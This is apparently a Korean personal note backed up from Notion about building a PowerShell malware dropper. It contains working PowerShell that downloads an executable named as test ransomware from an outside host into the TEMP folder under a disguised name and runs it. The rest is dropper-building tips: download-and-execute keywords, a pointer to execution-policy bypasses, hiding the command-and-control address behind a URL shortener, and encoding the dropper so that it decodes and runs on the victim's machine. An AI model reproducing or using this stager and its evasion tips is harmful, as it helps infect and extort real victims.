[악성코드] Powershell Dropper with 작업 스케줄러

Notion 백업.

Powershell Dropper 예제

$client = New-Object System.Net.WebClient
$downloadURL = "http://bpsec.co.kr/~minibeef/download/nsr_test_ransomeware.exe"
$path = ($env:TEMP) + "\18e190413af045db88dfbd29609eb877.exe"
$client.DownloadFile($downloadURL, $path)

cd $env:TEMP
./18e190413af045db88dfbd29609eb877.exe

Powershell Dropper 만들 때 키워드

• Invoke-Expression : 로컬에서 명령어 실행

• DownloadString("") : 웹 사이트에서 스트링 형식으로 다운로드 받아 로컬에서 실행

• DownloadFile(URL, PATH) : URL에서 받아 PATH에 저장 → 환경변수($env) 이용할때?

• 실제 악성코드는 주로 $env:TEMP에 드랍 → 테스트한 결과 Windows Execution Policy에는 안걸림 → 허나, Bypass 해야하는 경우 다음 링크 참고(PowerShell의 Execution Policy를 우회하는 15가지 방법 -)

C&C 구성 및 개연성 부여

• FTP혹은 HTTP로 다운로드 하도록 만드는 것이 좋을듯 함

• 위의 예제의 경우 apache public_html 활용

• http://bitly.kr/ 사용하여 C&C 주소 가리기?

• [아이디어] dropper를 인코딩해서 뿌리고 victim에서 decode&execute